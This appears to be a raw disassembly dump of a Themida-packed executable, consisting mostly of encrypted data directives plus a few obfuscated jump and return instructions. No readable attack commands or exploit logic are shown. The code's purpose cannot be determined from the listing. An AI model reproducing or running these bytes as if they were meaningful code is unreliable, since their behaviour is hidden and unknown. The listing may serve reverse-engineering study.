4697BB2Ah, 9CF66748h dd 65109E7Eh, 7ED53120h, 7F9E109Eh, 6F9EC11Eh, 109E7EF3h dd 0E67559BCh, 0C403626Ah, 0ED3D4ADEh, 0D0310061h, 0BEC352EBh dd 844CBC92h, 6D4DFF52h, 9E047DFEh, 0DAACFD10h, 16A35E75h dd 0F9D9B82Ah, 86D7FBDCh, 0D83B97C6h, 8104109Dh, 88C41537h dd 20667BB9h, 0DD6F5283h, 0C548168Eh, 0DA70C4E6h, 9DC4C412h dd 0C5EDCAE9h, 8CC61675h, 993D5CEDh, 0D4350448h, 33987D0Ch dd 0F6E11075h, 7F65B39Fh, 0D4915B10h, 0A13012B1h, 9A2E14B3h dd 109DA1B0h, 0BD9B2544h, 53064E9Bh, 79FB3BC9h, 5F726FFEh dd 1A00000Eh, 62C8ACCh, 163C9AB4h, 82A88C2h, 173999B7h dd 0F92C8ACAh, 0CC88D536h, 0D67CCCEEh, 0CB7DD2F8h, 0D874C5EBh dd 7FEEF1FAh, 16B8DE23h, 0BD89B5ECh, 0E3C7E470h, 2B6AFB53h dd 3C8DB3A1h, 2E4FFB4Dh, 0BEA33290h, 0B57FDB0Ah, 0C548109Dh dd 72807A4h, 9DB57CD6h, 0D14CAD10h, 0A47326B4h, 1F6E7697h dd 168EC63Eh, 4EBF8E0Fh, 0A8AB5D0h, 280F3827h, 0FE4EDF67h dd 21A4BDD9h, 0B0DC6D97h, 5AAC86E0h, 0A648h, 6CBDEE00h dd 0E06D51E0h, 5785774h, 109DB489h, 70DE7052h, 311DAD11h dd 26C938A7h, 0A6109DB1h, 0B7993913h, 19172626h, 3119B6D0h dd 3623ADA1h, 0E4D2E19h, 7A9F58C3h, 7B2E1372h, 8607168Eh dd 8501E828h, 0C6C3B726h, 59BC1074h, 4B09587Ah, 59F3466Ch dd 113F8908h, 0EEECA22Fh, 0DB8D169Ah, 9D255839h, 0BE79FAF0h dd 0D6C322Fh, 0C10D0000h, 0C3133595h, 0B3052B8Bh, 0C2113797h dd 0BB0A308Eh, 250A3999h, 0FBDB79C8h, 0EBCB87D5h, 0F8D672C5h dd 0EDCD7FD2h, 108AFBE4h, 0D916B8DFh, 70BD9EC0h, 51E4C6E4h dd 0C27DDBFBh, 7BA990DDh, 0B0D160E8h, 0B5B7250Bh, 0F198292Bh dd 755AEB5Fh, 5C5989C3h, 82E3826Bh, 77D30225h, 40109DDBh dd 725413DDh, 1E4D6DDFh, 109DDAC0h, 0C3E369FCh, 0A3004CDDh dd 4A582E7Fh, 3C75CABAh, 21C00869h, 76D00522h, 0AA109E55h dd 0EB2A391Bh, 0EE5EEFE1h, 0A3E97B5Fh, 9E54D832h, 1D7CA110h dd 94B60A4Ch, 7B1082C5h, 55E6648Ah, 1FC77DA2h, 20FBF04Dh dd 9DCA71EDh, 0BADB3A10h, 0BF8D2032h, 0FFF5C31Fh, 0B897A341h dd 9DCDC945h, 1BD0FA10h, 0E646F83Ch, 6ADE7159h, 11DBBADBh dd 988Ah, 0BEA3B000h, 0BF7AEBC8h, 48168E91h, 8F7CD607h dd 21B00A8Ah, 54E32233h, 0E7639231h, 0B00A8A8Eh, 8BAF0C6Dh dd 0C342133Bh, 0BB1B6AF9h, 120A8A8Eh, 1BD90378h, 0C35AAD3Ch dd 5Dh, 0B5117097h, 2E33109Dh, 9577B58h, 75527F49h, 8C54004Dh dd 8EA9B8FDh, 0EECC5116h, 86D77DCCh, 68473F2Ah, 7B87D4F5h dd 1DAD9510h, 8A1E2031h, 0CA17A1C0h, 0F2456B4Bh, 0C0A90756h dd 0F574E9C6h, 760A6861h, 5EAA2459h, 1273FE64h, 0DAF81DCAh dd 0C884D5FDh, 85D01879h, 8FEh, 70E5C229h, 109DB516h, 0A36BEDFh dd 0D508A7DFh, 168E85D4h, 1773E2E5h, 0E00A8A85h, 0FC8DDCBDh dd 0A8A849Eh, 0FC2099F5h, 5AAD363Ch, 1AA4h, 0C4133700h dd 64BE2F8Ch, 2D0A8A8Dh, 7076E0E8h, 109DB512h, 0FB8CB411h dd 0C21AFFFFh, 0BA0250E0h, 0CC60637Eh, 4DC01F7Eh, 168EA5F4h dd 0B0411075h, 0A8AA452h, 0C0EC5DA9h, 5AAD09F0h, 6E1FB092h dd 0C71170DAh, 55450h, 0F03F6300h, 28B0D160h, 4BE0C2AEh dd 892D6CFDh, 0C647163Ah, 0B6D7D8FEh, 86C418ABh, 1495C8E7h dd 25168EA6h, 0A357B322h, 0FD200A8Ah, 0ED203F9Ch, 0A8AA371h dd 11DB3Ah, 4572EA8Dh, 0AA1950B3h, 75523315h, 0B6676900h dd 88FDDA66h, 5AB2530Eh, 365AF0D7h, 0CEE1FCAAh, 45C825AFh dd 60F3D7F4h, 8DD4E0E8h, 5CABDAF9h, 3960A074h, 0B2EF5E0Eh dd 567DC159h, 0E17ADF1h, 0B330B837h, 0F9493C8Fh, 0E4253455h dd 0D4092685h, 549BCF7Ah, 0DDFAC243h, 0CBE864F5h, 5863BBE4h dd 0B0634806h, 0ACAA3229h, 64193386h, 0CA225EE8h, 0D31B36F5h dd 0A600000Ah, 0BAA03E18h, 0A2882628h, 0BC9E3C0Eh, 0A385252Bh dd 0ADA03E16h, 78DC6982h, 6AE8785Ah, 77D1664Ch, 6CE07157h dd 2B5A854Eh, 16B8E0AFh, 0BD3D2178h, 0E4C3E06Ch, 9DB51571h dd 0C31F4E10h, 8C109DB4h, 0F4DB3A09h, 0DC6344Eh, 0B02FB94Bh dd 0BA196D74h, 8F41024Bh, 0A3ECD316h, 9FF36D9Dh, 355815DFh dd 2A20B496h, 0B592B5A2h, 8B71C640h, 0E668FA0Ah, 0AAAC3459h dd 0AE943315h, 0A2FC7119h, 6B0A8B71h, 53814B2Ah, 52005072h dd 183A8203h, 45B485C3h, 0A8B71C9h, 8B6252B0h, 196D740Ah dd 4BBA9DBAh, 0A8B61CFh, 1C6B7598h, 107C5851h, 3BCA9BFAh dd 47841DBh, 0B463D832h, 0CA123C8Eh, 9B674212h, 0D2032450h dd 4783678h, 8D14DC41h, 2Fh, 0E0DDC2B1h, 5B862824h, 2204DE86h dd 38596675h, 295D84B0h, 0DCBA5B8Ah, 577B168Eh, 9AFB4A0Ah dd 53709552h, 646CDC6Fh, 2FC805h, 0C2660000h, 0EA3D4EE0h dd 4C9B3F5Eh, 0CD43504h, 0EECDB9B0h, 8EBFD67Fh, 2B103716h dd 9FFEDDBEh, 0F95BEACCh, 0E91C3B98h, 0A8AB26Dh, 5E0DD736h dd 0E06CBD04h, 23BDC96Dh, 6E6B0286h, 996h, 0DFFF57E3h dd 0C5E569F9h, 0D9F951E3h, 0CAE868F7h, 0DBFB59E8h, 972647E8h dd 0AD3B1DBDh, 902305A5h, 0A5381AB8h, 153A07A7h, 0B8E366E0h dd 48FA2F16h, 0EBC8BEA3h, 0B53D99CCh, 8706109Dh, 0B4ED203Dh dd 0F5168EA5h, 2C7DC190h, 0D9F8320h, 88A5B33Dh, 18EEFC9Fh dd 8AA369E5h, 0ECD3320Ah, 67962C86h, 0A89D8EBh, 0A83051B4h dd 0C2B27859h, 354D9A31h, 36509995h, 2C20B199h, 7F46B7A4h dd 0E0E92FA8h, 18AAACBDh, 51989836h, 7A679635h, 23E31C88h dd 0A42253E2h, 0FBD71871h, 2D2FA8Fh, 0AA653B5Bh, 145h dd 70E5C290h, 109DB516h, 0A36BEDFh, 0D508A7DFh, 168EA5BCh dd 8AC998FDh, 963816A8h, 0DD3C0D47h, 0DC70C113h, 89DCFEh dd 7091A0AEh, 0D0B14011h, 9D31C37Eh, 0F33E455h, 5DBC8DBDh dd 9EF04193h, 3F6AF36Fh, 3859BCE3h, 2525B79Bh, 0BFA0BD9Bh dd 3F6AD44Eh, 70789DE3h, 0B081CB5Eh, 0C541B493h, 8EE33F6Ah dd 4746C50Fh, 910A7844h, 0A538EA5Fh, 92607A7h, 0F4307AD4h dd 0FAC243BBh, 76C785D8h, 79562E3Ah, 0F42FAA04h, 0C33BBh dd 95BD0BB1h, 0FCF1E22Eh, 0E8013D9Dh dd 0CDCC419Eh, 9EC1E4E9h, 59ECEE7Fh, 5CEDD3F3h, 63ECD3F0h dd 6EEAAD44h, 71F0F8h, 0B5E1529Eh, 15CD3EB0h, 9F4CC2C4h dd 83D27ACBh, 42069D02h, 0E615B5D4h, 0A0CA80Eh, 28251C03h dd 0A18229EFh, 0BEC41B17h, 0A5A73A20h, 5D996594h, 94FEC7C8h dd 52FA4BF7h, 93FB4E74h, 4458E862h, 4A6CB1BBh, 253455F7h dd 7A4E207h, 9CAE0228h, 0C11D4CCDh, 8ABB4458h, 3616A70Bh dd 1DEE627h, 353C458Ch, 4867A6C1h, 717BCD62h, 0F0654263h dd 0B5313596h, 82D375CAh, 7D13403h, 4ECCh, 79CBEF00h, 0A20180D1h dd 3135D733h, 737DA0B5h, 0C8BEA3E9h, 0AAE3CCEBh, 0D6ED66CDh dd 0D1700FD9h, 22168F1Ch, 0DE7052E3h, 7A6D5270h, 3388AA7Fh dd 796FCB15h, 0E539AC0Bh, 0E0A8B11h, 0A2B3992Ch, 890C5963h dd 59B9052Ah, 5D78854Fh, 0BD223C93h, 0C6C2E06Ch, 99CCEB9Bh dd 168E9E34h, 72B880Dh, 143694B4h, 7CB889BFh, 53822165h dd 107B852Ah, 1C3B0A8Bh, 57E5A236h, 4ACB9AFBh, 60830382h dd 0DEC40477h, 7DB9034Dh, 9A852264h, 0D28F3DCh, 63F1D575h dd 0B53F5EEFh, 76835A8h, 0C6110A68h, 5B7FC599h, 2E1CB02Bh dd 0FE9FFE1Fh, 0A9C01E6Fh, 6CFCFE64h, 0ABBA9223h, 183A0B6Ah dd 0DC76C6C7h, 0DC6D0C8Dh, 361F9C36h, 388AB0AFh, 0B5034716h dd 2C4DCC9Dh, 26D16AA4h, 2A8ADA01h, 2E8D7139h, 646163BFh dd 0DFE92CFEh, 8746B977h, 2C214Eh, 0A3350000h, 7AEBC8BEh dd 168EA2DBh, 0D04ABB9Ch, 990A8A9Dh, 9EFF6C74h, 17AA90CFh dd 0B6272435h, 0A8A9E5Ch, 3781E025h, 351Ch, 0BEA3C200h dd 928E7602h, 14754051h, 0DCAF98B7h, 0D8A03026h, 0B65FAE36h dd 17168F77h, 476867F6h, 8B60BC16h, 0F361F00Ah, 0F1142362h dd 6127A3D2h, 0ADF00A8Bh, 6CBDB923h, 0BDD36DE0h, 31F88623h dd 65D14h, 88CE1C00h, 98B6082Ah, 86C4183Ah, 9FB10228h dd 88CC193Fh, 0D734FB2Ah, 0C6ECCA8Ah, 0DCFEDC76h, 0BFE1C187h dd 0F300DE6Eh, 0E61D79ECh, 0B3E616B8h, 0F4DDC28Fh, 0B50C1C24h dd 0BA1C32BAh, 21BEC821h, 82C81C3Eh, 0FB8A52B3h, 168ECD7Ah dd 85AD0A8Bh, 0CC4D1C38h, 0BB4E59E7h, 0AA32D7A0h, 782A64E9h dd 0BFE3CCC8h, 57B32270h, 204843E4h, 0A73A9CFDh, 6B7594A5h dd 4F6C1A4Fh, 34D52B1Eh, 50E1244Eh, 0A5215473h, 6E4230D1h dd 5099A52Fh, 47B69936h, 4230D1CBh, 6A677194h, 21AB46FBh dd 815EBF48h, 67ED7C5Eh, 915BF343h, 4E9BEE3Fh, 0B7D63706h dd 0C0143617h, 0BD10428Ah, 0A034DA8Fh, 0A645B1A3h, 599ABh dd 452E000h, 1C3284A6h, 2489CBEh, 232D7EA4h, 44109D83h dd 93F83766h, 8AB00E46h, 98BA183Ah, 83A50543h, 0AFBC1A32h dd 0E6E13DB0h, 77AA16B8h, 0E06CBDCBh, 23BDA76Dh, 845E486h dd 55Ah, 0E3C3931Fh, 0C1E16DBDh, 0DDFD4DDFh, 0C6E46CFBh dd 0DFFF55E4h, 9B2A43ECh, 0A93719B9h, 942709A9h, 0A13416B4h dd 213E0BABh, 0B8E772ECh, 7CE63B16h, 0B3226CBDh, 109DB557h dd 0CD9CFD20h, 0F9497A6Fh, 66973455h, 1686929Eh, 0E4248203h dd 0BB2A89FDh, 10737D96h, 6E9FAEEFh, 46F76F0h, 0E2ECB47h dd 5090244Eh, 0AAF6h, 0DEB94C00h, 0FDDAACB5h, 8EA5E988h dd 789BFA16h, 87958FD5h, 22647DD9h, 86D95085h, 654A4174h dd 0E4288BF0h, 0B89827DAh, 33520FD9h, 0C842B394h, 91356FB6h dd 2625C40Ch, 529AB004h, 2C8BFBE6h, 5DCB8AB9h, 3996F73Bh dd 0BE8FC311h, 6748955Fh, 0A5BF343h, 0BE0F418Bh, 0B909318Eh dd 7B45C495h, 9FEA7B5Dh, 90F14010h, 43C27CF1h, 3CEBA4DFh dd 47D21h, 0E86EFC00h, 0F856E8CAh, 0E664F8DAh, 0FF51E2C8h dd 0E86CF9DFh, 3754DBCAh, 260CAAAAh, 3C1EBC96h, 1F01A1A7h dd 5320BE8Eh, 0E87DD90Ch, 0D34616B8h, 94C46Fh, 0A36A0000h dd 7AEBC8BEh, 168692C2h, 0C1E9C647h, 85C91970h, 0A0EB8FB4h dd 0A4DE361Dh, 2406A4C5h, 8EAABB91h, 73E17053h, 0E5C2A3E2h dd 7353DD70h, 15A48610h, 0E5EF2E3Fh, 5BED4288h, 5BEA8B0Ah dd 0B02A5B7Ch, 79046F52h, 7970CC14h, 0A991AE0Dh, 5BAA3216h dd 0A60460Eh, 692356B7h, 7E73E248h, 3E4F2EFh, 49950000h dd 3B8BAD0Dh, 3B8DB313h, 3A89AF0Fh, 4392B816h, 0AD82B111h dd 4363F140h, 2383CF5Dh, 409EAAFDh, 2585C71Ah, 48C2331Ch dd 1116B8E8h, 1670A698h, 0FD109DB5h, 109DB49Dh, 0FFDCAABFh dd 8692C68Eh, 5BEA2B16h, 0F366E677h, 80089603h, 8FA8A544h dd 0EA000003h, 0F6DCFA5Ch, 0E6CCEA64h, 0F8DAF852h, 0E7C9E967h dd 0E9DCFA5Ah, 0BC982546h, 0A6AC3C1Eh, 0BB8D2208h, 0A8A4351Bh dd 0EF1E410Ah, 16B8E973h, 0C279E53Ch, 2A22E2DDh, 0B61D2DA9h dd 60F70611h, 70626ABDh, 0E23CB1DDh, 0AB109E43h, 0FE3A0B6Ah dd 0FE4CE0E3h, 70C187DCh, 22537011h, 168F3D5Bh, 0A7959BCh dd 58188804h, 60950150h, 0BBD480E6h, 0AF0F6EAFh, 49183C89h dd 318EF4EBh, 8183DF0Eh, 0B4CBBD4h, 0D48180DAh, 0A5C449BBh dd 171E01FEh, 0C00837BEh, 6CBD3892h, 0DC6D51E0h, 0B565270h dd 482927B8h, 0A2BFFA6Bh, 248168Eh, 0DEFD9CAEh, 4D27CFF9h dd 1048D5C0h, 529FF0C3h, 0DF8E5637h, 89BF30AEh, 6F58870Ah dd 3371139Fh, 0A800A724h, 22EC580Dh, 2BA0EAF2h, 0ADD83301h dd 399B5Ah, 0A3BF0000h, 96B205BEh, 882746C7h, 8E987455h dd 71C04516h, 8A878200h, 0E56FBE0Ah, 6CDE7254h, 1E9B35DDh dd 878A0479h, 32530A8Ah, 8B008A53h, 0AD399361h, 0F43B5Ah dd 0BD1F0000h, 7251E06Ch, 0CD04474Dh, 4D97B64Bh, 0C796BE0Bh dd 3C0EA288h, 0F2E4EC2Dh, 0AA5A275Fh, 5C1D82BEh, 2ABC9E3Dh dd 0B3AD5D5Eh, 0F5943032h, 4C9B2564h, 3595B70Ah, 0A49A2F18h dd 0A28D286Eh, 3548EB1Ah, 75C8109Eh, 80D1F7D7h, 2A3F7DCCh dd 34F36F9Eh, 59BC109Eh, 93B49B38h, 0E03E6D1Dh, 8DFC41C6h dd 939D4726h, 0C2B0C49h, 9E797DD9h, 0FDC74610h, 8F4A238Eh dd 6949CC16h, 7552342Dh, 75B06600h, 912E6F10h, 25C91AEh dd 0CB04759Eh, 150824Ah, 0C8B0408Dh, 0F6E4E68h, 183C89AFh dd 0FB4B7765h, 0C805A479h, 1CEh, 97371FABh, 8D2D21B1h dd 913119ABh, 923020AFh, 933321B0h, 0CF5E8FA0h, 0B5032585h dd 0C81B3D9Dh, 0AD002280h, 2D323F9Fh, 0B8EA5EB8h, 50F22716h dd 0C6E470BDh, 0DCFB51E4h, 1A2161F6h, 4100EAFBh, 0A0A2B3D2h dd 9721400Eh, 0BEA31FB9h, 0C796B205h, 9D496B80h, 83E26BF4h dd 0DEBF8F1Fh, 8C01DE01h, 109EA612h, 0D332BADBh, 168F89F2h dd 82F342C3h, 0A8B7A04h, 729A2F5Bh, 5AAC2FA2h, 960Ah, 0DDC23000h dd 2ED1844Bh, 3A1CA4C9h, 2106A5A7h, 0CD10AE00h, 2CBB05BDh dd 0A8B99B2Ah, 9E4FD659h, 49035610h, 59F7486Ah, 0CE5F418Fh dd 98D1EF7Eh, 519CD1EEh, 0FA168F20h, 0E6FB3B9Bh, 0F7D203A0h dd 0C010757Bh, 0D5C7E5Dh, 0F4416747h, 8019ED60h, 7B3279FBh dd 0F55Eh, 20368400h, 400EA082h, 5EEC4062h, 47095A80h dd 60F44167h, 0AFDC5342h, 0AE943222h, 0B496341Eh, 0A789291Fh dd 0CB983616h, 0EAF55184h, 6BBE16B8h, 0E470BDF7h, 73C1E9C6h dd 72C315DFh, 0BD5EFCDAh, 0C08C1D6Ch, 1EAE1071h, 0C2045534h dd 0C1FDDD6Fh, 71ED20A8h, 3A109DB5h, 0D89FCDBh, 0D6109DB5h dd 0D1F9D6B7h, 0D805CF83h, 8692C7A5h, 20315416h, 0ACFE8B1Eh dd 41B493A2h, 0A828EC5h, 0F6E0F8Eh, 143889AFh, 93240645h dd 26A7ACBDh, 5E71EAF3h, 4DBC0465h, 559C829h, 0AB39213Eh dd 56F31DA7h, 943319ACh, 3721AAEh, 0EE99B487h, 9DACCD50h dd 4466747Ch, 0CD0A5BF1h, 872289E2h, 0AC1683Fh, 83DBC04Fh dd 478953FDh, 0D30958F8h, 0DF722099h, 0DA6B4D6Dh, 43C541B4h dd 0F8EEE99h, 1C66516Eh, 171004Dh, 0C3005F69h, 300151DFh dd 3CC07D1h, 72000000h, 71BDE17Bh, 0DF7254E5h, 65FADC6Dh dd 0E07052E3h, 52DFE372h, 0C20F3302h, 307FC392h, 9B2D1120h dd 2ABC9EAFh, 52221524h, 0C281E289h, 4, 4EA81h, 14870000h dd 14895C24h, 73F56824h, 0C890000h, 4EC8324h, 68243C89h dd 61B275Fh, 81240C8Bh, 4C4h, 26E46800h, 24890000h, 24048124h dd 4, 0CA89525Fh, 8B085789h, 0C4812414h, 4, 5F2434FFh dd 4C481h, 34FF0000h, 0C4815924h, 4, 0F84917E9h, 359522FFh dd 4D8916A9h ; --------------------------------------------------------------------------- loc_5FFB1C: ; CODE XREF: Themida_:005FE9ACj mov eax, 61B37E1h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 24h, 16h, 0F3h ; --------------------------------------------------------------------------- or bl, [ebp-65EF6748h] push 0FFFFFFBDh sbb [edx+6C37D755h], edx retn ; --------------------------------------------------------------------------- db 44h dd 0AAAA5775h, 30914F5Eh, 2873B572h, 0E4152D67h, 7616B62Ah dd 5A6CF762h, 35952B55h, 6DF9230Dh, 8232F039h, 7F030A4Bh dd 0C7697E34h, 0B65FAC63h, 0B5972A6Dh, 0C4710629h, 0BB93209h dd 0A20A8512h, 0BCC76F7Bh, 9F220416h, 0FF8F4A3Eh, 0B925F206h dd 5598572Fh, 0CE9B4529h, 9341A97Ah, 0AA12860Dh, 0E2E254Fh dd 14E97Ah, 70AE0000h, 1D32h, 3 dup(0) dd 2E90000h, 0AE000005h, 0B2983620h, 0AA902E20h, 0B4963416h dd 0AB8D2D23h, 0A598361Eh, 80D4618Ah, 0A2B00022h, 0BF891E04h dd 0A4A8391Fh, 0E3123D06h, 16B8ED67h, 0C245F930h, 12434FE0h dd 109DB4B8h, 737D1C81h, 0ED7CD061h, 0DAF85CE9h, 587D5FDh dd 96CB6F35h, 18294874h, 4CDDEFF9h, 0BC0D3100h, 2D7DC190h dd 9C2E1021h, 5CED5DEFh, 0C90D5C3Dh, 3D82D377h, 0E6FF2A19h dd 0D3BFE069h, 76FC4F36h, 0B86D5205h, 30CE6045h, 9DFF9F04h dd 0D384FF11h, 0D676C709h, 0DD85CEF9h, 6DF7A37Bh, 0E3C8851Ah dd 9D2772A7h, 24699BFh, 1F297EA4h, 96BC0C4Eh, 92500E39h dd 89D878C7h, 553A308h, 27BAE1ADh, 465897Dh, 0B5372DBCh dd 51398E44h, 9E07C21Ch, 6B0A8B10h, 78D4654Bh, 83998E9h dd 18B2109Eh, 79CEF4A3h, 9F5D05CFh, 47A341B9h, 76h, 1D6CBD1Bh dd 0CA1BBF8Bh, 3352B382h, 0B575D322h, 1CAD109Dh, 0F77D096Ah dd 84E5A1FDh, 0D4191B5h, 1A45173Ch, 7D8E55C7h, 0D2C3385Ah dd 2C9D2Dh, 0A341F830h, 198h, 0E0C2BE00h, 0D3320351h, 0D777C709h dd 5CF24486h, 59ECCE0Dh, 58E7E9F3h, 0C9F669F8h, 0B51B77E6h dd 0A1E4109Dh, 0A65CED17h, 0BB9C3A14h, 0BC044497h, 0A605479Ah dd 0E42FE81h, 0F0F8E5DEh, 70BD48E2h, 0E17155E4h, 9C36DC6Dh dd 6EE6731Fh, 75D76A50h, 0FC4EE2E4h, 7857846Dh, 9DB48905h dd 0A9335210h, 0E2C2EA5Fh, 4AA341E8h, 63h, 0E470BDF0h dd 6BDF7155h, 7DD7664Ch, 0C423ADECh, 0B86ADF13h, 0AA8B2B29h dd 49183688h, 7FCE00C8h, 604784D5h, 0EA787D88h, 0E6E8F012h dd 836AFB55h, 9A4A7207h, 42A341A6h, 47h, 0E470BD18h, 6ADE7155h dd 9FFB6A4Dh, 68109DB4h, 0B4C9B25h, 0A8CDEBD4h, 0FEA5A73Ah dd 757FE263h, 65F49E1Bh, 0BD71CFEFh, 7350E16Dh, 5EDBB64Ch dd 0FAC26D08h, 9E190A8Bh, 72078310h, 418E8A4Ah, 132A3h dd 0BD080000h, 0D700DF6Bh, 0B288EB84h, 11D01868h, 0A1B09C2Dh dd 1AC841ABh, 92684C6h, 0DD5BB726h, 0E124109Dh, 86DBD7h dd 32A384A3h, 109DDCD8h, 48577CA1h, 0C36FCC9Fh, 27F6955Fh dd 0D8168F4Eh, 113916B5h, 80DA8BBFh, 490A8B4Ch, 0C5F44FFEh dd 0FF9EE740h, 15476F5h, 674B6C4Bh, 0A9E879D9h, 8AEB5EB8h dd 0DEE6270Ah, 0C587DA00h, 0EA870574h, 0D2C00A8Ah, 51388939h dd 9DFC4D01h, 69FCDEFCh, 0DD7052E3h, 0EAE23CB1h, 0ACAB0A8Ah dd 8AEADD39h, 667A60Ah, 0A230D667h, 64E87929h, 0DC2EEE46h dd 26965AACh, 0AC000001h, 0EBC8BEA3h, 8EBC377Ah, 0C71A4016h dd 8B55B485h, 0B1AEBFDEh, 45143889h, 87DAFCC4h, 70C4E6C5h dd 0DEC412DAh, 80A2014Bh, 0AD01592Dh, 0CD9415FFh, 81C524ACh dd 480C5930h, 17A88A29h, 0DFE92839h, 7B107A80h, 0F8D676C7h dd 0AD139C5Ch, 53445Ah, 0A31A0000h, 0C1E9C6BCh, 0B8ADB6Fh dd 0C56194C1h, 0CE6F624Bh, 615CA389h, 9B3815A2h, 9DBFF06Ah dd 3554B990h, 62002724h, 7C76B2F9h, 900A7B58h, 59909E94h dd 15DAC34h, 3909E95h, 3F28F089h, 11202E80h, 0C33291F0h dd 0EF632C27h, 0F2CDED30h, 81h, 0C8BEA350h, 7AEBCCEBh dd 109DB520h, 0ED1CA4E9h, 168EA1E0h, 0D1F544C9h, 0CCEECC80h dd 0F382D379h, 0A8AA090h, 7FCE7CD0h, 0F4450D5Bh, 281DAEE0h dd 476F5887h, 2BFCB987h, 8C243E1Ch, 0C5241D27h, 4AF891FBh dd 397555F7h, 9419330h, 1BB8D938h, 730644EAh, 11206510h dd 0A1B09C2Dh, 1FC841ABh, 0ECBD2738h, 2465F45Ah, 58837E7Fh dd 493D2490h, 5BF9486Ah, 14418B0Ah, 57D639E1h, 9B3B5A0Ah dd 70E5C23Dh, 109DB516h, 0CC1CBEDFh, 8E56B786h, 704F3732h dd 0A1FD704Fh, 6A109DB4h, 0BC62A12Bh, 0DD16868Ch, 14A5A9B8h dd 92BD9A38h, 7EF59017h, 42945C80h, 7D0C5DEFh, 5990AE3h dd 0A55DEE24h, 0B89A3814h, 34162725h, 0F85AEAA3h, 0F8492869h dd 6111AAE4h, 815E7CD0h, 75B32F5Eh, 197CEF58h, 9D2723B5h dd 13222ABBh, 0A36h, 0E0C29C00h, 0D3320351h, 0BDDB8509h dd 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h dd 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah, 81E78957h dd 4C7h, 4EF8100h, 87000000h, 895C243Ch, 0BC68240Ch, 89000049h dd 2B68243Ch, 89000013h, 0BD552434h, 61B38F1h, 2C8BEF89h dd 4C48124h, 83000000h, 248904ECh, 24048324h, 81575E04h dd 7C94242Ch, 468F2156h, 8468108h, 21567C94h, 5624348Bh dd 0C681E689h, 4, 4C681h, 34870000h, 3C8B5C24h, 0E3895324h dd 4C381h, 0C3810000h, 4, 5C241C87h, 0F84377E9h, 0DD1C1EFFh dd 0DD0846FBh, 3D66B84Fh, 0C503061Bh, 4344E0FFh, 0EB6E4E2Ah dd 0BF7C656Eh, 5280AB4h, 5EEF4C26h, 0B81E2D36h, 875428CDh dd 1DA87ADBh, 0D8E96519h, 104457AFh, 32B76A4Eh, 8E703DBDh dd 65EC3628h, 82FF67B5h, 8A5C20BCh, 0B974290Ah, 40557463h dd 0F7EF48CAh, 0E3451C8Eh, 19F10CAEh, 0A6CA7D3Fh, 3C6B6AB4h dd 27BD18EAh, 247466C0h, 0A1B40199h, 90456D0Ch, 0E84A5Fh dd 22E97B48h, 0C7000000h, 3E947Dh, 7 dup(0) dd 566E900h, 5510000h, 0FF4F7151h, 0F7496F4Fh, 0FE4D7353h dd 0FF4E7452h, 0E9467555h, 0BF1F3584h, 0A7074B99h, 0BC1A2E81h dd 0A9094396h, 0D44EBFA0h, 9D16B8F2h, 6CBDDA84h, 0E06D51E0h dd 0E1745674h, 0B4DE38ADh, 66A7109Dh, 0B4BA1449h, 283109Dh dd 5DF0D263h, 0EA7C5EEFh, 0F5684764h, 109DB499h, 0D5DB47CAh dd 94A37627h, 51FD4D71h, 0A8378100h, 993EBB37h, 2222EEAEh dd 7E46E184h, 6443095Ch, 0E5FE93Eh, 3117458Fh, 260CAA9Eh dd 0A9A6B791h, 0E5182F7Eh, 0F2E26E2Ah, 0B9EFD4FAh, 85C71185h dd 164A1B37h, 20B35FDCh, 15A88A28h, 1AB7EA71h, 5DEC191Bh dd 462766F7h, 66E71627h, 0DF109EADh, 0E6B6D673h, 4EA34112h dd 84h, 1D6CBDF4h, 6EAFBE8Ah, 9F5E6149h, 0BCDDAC05h, 3A8CAEADh dd 2C4D0151h, 95F4FC1Dh, 109E5A37h, 0FAAD1EACh, 5A2EA8DDh dd 96F7109Eh, 9FAEA434h, 2EEE767Eh, 96A3414Fh, 1, 0E16DBDACh dd 72DC6E50h, 6FDB6D55h, 73C40665h, 97DB8CDDh, 70DE7022h dd 0FA4D7552h, 569EFF4Eh, 3C9BB104h, 0B570EA1Bh, 34A9109Dh dd 109DB4DAh, 0EAD562A3h, 0A17414A8h, 982041A5h, 28B59DBAh dd 0AC391D2Ch, 55FFC9A8h, 3D4EE0C2h, 2E3F5EEAh, 0B562BC31h dd 0EA2B109Dh, 7260248Bh, 75986DB8h, 0B5DC696Bh, 0FB1A2B27h dd 0A68CCB9Ah, 65E77A17h, 0F7D4B5D4h, 9E3D0C86h, 28B0D510h dd 1DBA9426h, 97A6A235h, 17FF6E76h, 70570079h, 0B6070614h dd 0BEC13196h, 3C89CB15h, 4598BA18h, 4B9CF544h, 0B4D53405h dd 0EE4284D5h, 0F7E40D5Ch, 2CA82D3h, 1BC9F388h, 0C3A3413Ah dd 85h, 2170BD97h, 0FEDDBC90h, 70C187DCh, 554FE4Eh, 6EC1E584h dd 0C20A8BDAh, 0BD8D1F23h, 42B73BACh, 0B3134190h, 451408Dh dd 1E203150h, 76D0058Dh, 0AF109DB5h, 9DB4E43Eh, 0DB68AD10h dd 6101A7F4h, 0F8991845h, 65A1C899h, 83FC23D4h, 9FF38DB8h dd 9F4D15DFh, 47A34105h, 4Eh, 0E470BD1Bh, 0FC54E3C7h, 45A42C6Dh dd 0CB9AAE01h, 0E4735788h, 912A646Ch, 0D53A54E1h, 0A9C3439Ch dd 5D456203h, 1A3880CCh, 51E0C2C0h, 9D33203h, 86D777C7h dd 9DB496F7h, 0EAD00F10h, 2968F95Bh, 0A8D4659Fh, 0A341EAE8h dd 150h, 6BBDE600h, 0AEDF00DFh, 109DB534h, 0CA86D5FDh dd 80C221ABh, 1742592Dh, 8ADE48C2h, 0C865AEBh, 0D971C36Fh dd 0E2A4BDF9h, 0F0C190C5h, 1372168Eh, 9FAD0042h, 0C6C8193Fh dd 8AEF3B97h, 71E16F0Ah, 0AD92A1E0h, 96F06328h, 4C2D4CD4h dd 81108CFDh, 49490A8Bh, 9DAF02B0h, 82CA1B3Dh, 42B394B3h dd 0A8B80C8h, 92C40C91h, 8CAE0D3Fh, 1FCE163Ch, 0B260D977h dd 358D2D1Fh, 5AAC2667h, 124CFh, 0BEA37300h, 377AEBC8h dd 0D0168EBCh, 79183A8Ah, 0F953E6E8h, 85D6FCD9h, 0BC1B7ACBh dd 8AA5CD49h, 6D77960Ah, 0E372DA6Bh, 6FFE4EDFh, 0E29029A7h dd 85DDFD4Fh, 5AAD1BB7h, 6B1Fh, 0E5C24300h, 